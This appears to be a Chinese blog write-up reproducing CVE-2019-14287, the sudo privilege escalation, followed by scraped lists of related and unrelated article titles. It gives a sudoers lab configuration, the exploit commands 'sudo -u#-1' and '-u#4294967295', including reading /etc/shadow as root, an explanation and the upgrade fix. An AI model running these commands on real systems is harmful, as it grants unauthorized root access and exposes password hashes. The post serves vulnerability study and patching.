2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。

0x00 简介

sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。

0x01 漏洞概述

该漏洞是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标 Linux 系统上以 root 身份执行任意命令。个人觉得该漏洞比较鸡肋,因为需要特殊的配置才能触发,在默认的Linux中并不会存在该安全问题。

0x02 影响版本

Sudo版本 < 1.8.28

0x03 环境搭建

任何linux机器上执行sudo -V得到的版本 < 1.8.28均可

本人使用的环境为sudo 1.8.16

由于需要特定的配置,所以首先修改配置文件sudoers(文件位置/etc/sudoers)

在 root ALL=(ALL:ALL) ALL 下面添加一行配置:

test    ALL=(ALL,!root) ALL

1.其中的test表示用户名
2.第一个ALL表示允许该用户在任意机器或者终端中使用sudo
3.括号里面的(ALL,!root)表示命令可以被除了root以外的任意用户身份去执行
4.最后一个ALL表示被允许执行

添加的这一行的配置的意思就是:test这个用户可以使用sudo命令,以除了root以外的任意身份去执行命令。

0x04 漏洞利用

1.首先切换到test用户:

su test

2.执行 sudo whoami 失败

3.执行sudo -u#id whoami

这里的id可以去试任何id,我在/etc/group里挑选了test自身的id:1001

执行sudo -u#1001 whoami成功

执行sudo -u#-1 whoami成功

4.尝试高权限操作

执行cat /etc/shadow失败

执行sudo -u#-1 cat /etc/shadow成功

5.解释:

使用 sudo -u#id 指定用户 id 去执行命令,由于可以指定id,所以可以使用-u#-1或者-u#4294967295绕过限制,从而以root身份去执行任意代码:这是因为 sudo 命令本身就已经以用户 ID 为0 运行,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。

0x05 修复方式

更新至 Sudo 1.8.28 版本

0x06 参考链接

Linux Sudo 被曝漏洞,可导致用户以 root 权限运行命令

CVE-2019-14287:利用sudo提权复现

[提权]sudo提权复现(CVE-2019-14287)的更多相关文章

  1. sudo 提权漏洞(CVE-2019-14287)复现 (10.16 第二十二天)

    sudo是Linux系统命令,让普通账号以root身份去执行某些命令,比,安装软件.查看某些配置文件.关机.重启等操作,如果普通账号需要使用sudo需要修改配置文件/etc/sudoers,将sudo ...

  2. sudo 提权漏洞(CVE-2019-14287)复现

    (该文参考网络他人资料,仅为学习,不许用于非法用途) 一.环境 1.sudo版本小于1.8.28的Linux系统 2.sudo 是Linux系统命令,让普通账号以root身份去执行某些命令,比如:安装 ...

  3. 2019-10-16,sudo提权漏洞(CVE-2019-14287)实现

    sudo是linux系统命令,让普通账号以root身份执行某些命令,比如,安装软件,查看某些配置文件,关机,重启等,如果普通用户需要使用sudo需要修改配置文件,/etc/sudoers,将sudo使 ...

  4. Ubuntu无法sudo提权,报当前用户不在sudoers文件中错误

    Ubuntu安装后默认root不能登陆系统,密码也是随机生成,其他用户使用root权限,可以使用sudo提权,前提是该用户在/etc/sudoers配置列表中. 但是有时用户名从/etc/sudoer ...

  5. ansible使用普通用户免密登陆+sudo提权

    前提:从ansible控制端使用test用户可以免密登陆所有被控制端,并且被控端test用户支持sudo提权 # ansible主机清单 cat /etc/ansible/hosts [online- ...

  6. NO29 用户提权sudo配置文件详解实践--志行为审计

     用户提权sudo配置文件详解实践: 放到visudo里:  验证权限:

  7. EOJ Monthly 2018.8 D. Delivery Service-树上差分(边权/边覆盖)(边权转点权)(模板题)

    D. Delivery Service 单测试点时限: 2.5 秒 内存限制: 512 MB EOJ Delivery Service Company handles a massive amount ...

  8. [学习笔记]最小割之最小点权覆盖&&最大点权独立集

    最小点权覆盖 给出一个二分图,每个点有一个非负点权 要求选出一些点构成一个覆盖,问点权最小是多少 建模: S到左部点,容量为点权 右部点到T,容量为点权 左部点到右部点的边,容量inf 求最小割即可. ...

  9. D. Powerful array 离线+莫队算法 给定n个数,m次查询;每次查询[l,r]的权值; 权值计算方法:区间某个数x的个数cnt,那么贡献为cnt*cnt*x; 所有贡献和即为该区间的值;

    D. Powerful array time limit per test seconds memory limit per test megabytes input standard input o ...

随机推荐

  1. Ubuntu 下安装 OpenSSH Server

    Ubuntu 下安装 OpenSSH Server 是无比轻松的一件事情,需要的命令只有一条: sudo apt-get install openssh-server (查看返回的结果,如果没有出错, ...

  2. cesium 检测视图改变的代码

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8&quo ...

  3. 【洛谷 P5357】 【模板】AC自动机(二次加强版)(AC自动机,差分)

    每次匹配都不停跳fail显然太慢了,于是在每个节点和fail指向的点连一条边,构成一棵树,在这棵树上差分一下就好了. AC自动机 就这个算法而言其实没用想象中那么难. #include <cst ...

  4. redis被攻击,怎么预防

    今天,自己的redis服务器被黑客攻击了,数据全部被删除 从图中可以看到,在db0中多了一个crackit,他就是罪魁祸首,他的值就是ssh无密码连接时需要的authorized_keys. 我们被攻 ...

  5. pip 和pip3的区别

    前言装完python3后发现库里面既有pip也有pip3,不知道它们的区别,因此特意去了解了一下. 解释先搜索了一下看到了如下的解释, 安装了python3之后,库里面既会有pip3也会有pip 1. ...

  6. 修改CentOS的YUM源

    CentOS配置本地yum源/阿里云yum源/163yuan源并配置yum源的优先级 1.查看本地yum源 2.把默认yum源备份 mkdir /opt/centos-yum.bak mv /etc/ ...

  7. TLS 1.3 中Pre_shared_key和key_share对应的两种密钥交换模式

    1.TLS1.3的整个协议的文档规范 请参照 RFC 8846,协议规范中指出,TLS1.3提供三方面的安全属性,分别是身份认证.通信加密.完整性验证. 2.TLS1.3协议主要包括两个组成部分,分别 ...

  8. keepalived实现nginx反向代理的高可用

    实现keepalived调用脚本进行资源监控 keepalived调用外部的辅助脚本进行资源监控,并根据监控的结果状态能实现优先动态调整 vrrp_script:自定义资源监控脚本,vrrp实例根据脚 ...

  9. python在运行时终止执行 sys.exit

    使用sys.exit 或者exit,quit均可以退出执行 # 程序执行中,需要时停止执行 import sys if __name__ == '__main__': for ii in range( ...

  10. 铁力项目mysql异常处理过程记录

    地区:铁力 故障:2019-06-26 10:19:34 139921514837760 [ERROR] mysqld: Error writing file 'mysql-bin' (errno: ...